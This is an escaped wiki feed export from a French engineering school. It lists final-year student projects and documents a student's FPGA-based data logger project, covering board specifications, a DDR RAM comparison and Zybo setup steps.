  &amp;lt;td&amp;gt; 15/12/2015,09:04, [[Fichier:P25-2015_Smagghe_Tournier_decembre.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_final_P25_Smagghe_Tournier.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;RDV mercredi 24 15h &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P26 Robot de forgeage et d’usinage]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bertrand Yvernault / Louis Thebault &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 17:51&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P27 Robot de fraiseuse]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Flavien Royer / Maxime Morisse &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:06, [[Fichier:Rapport_Royer_Morisse.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P30 Thermostat connecté et intelligent]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; TISSOT Elise / TIRABY Céline &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_final_PFE_TISSOT_TIRABY.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 19/02 par L. Engels &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_P32_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 24/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 25/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:07&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:21&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:IMA5_P40_Chauchard_Imbert_RapportFinal.pdf‎]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:PFE_P13-Plateforme_expérimentation.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Tournée le 22/02 par M. Engels &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bown Alexander / Piat Valentin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Pilulier automatique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Manouk Simon / Corentin Duplouy &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Dossier_soutenance_P2_Data_Logger_Hideo_VINOT_IMA5SC_2015.pdf&amp;diff=27649</id>
		<title>Fichier:Dossier soutenance P2 Data Logger Hideo VINOT IMA5SC 2015.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Dossier_soutenance_P2_Data_Logger_Hideo_VINOT_IMA5SC_2015.pdf&amp;diff=27649"/>
				<updated>2016-02-23T11:19:31Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27577</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27577"/>
				<updated>2016-02-22T21:03:46Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Fichiers supplémentaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
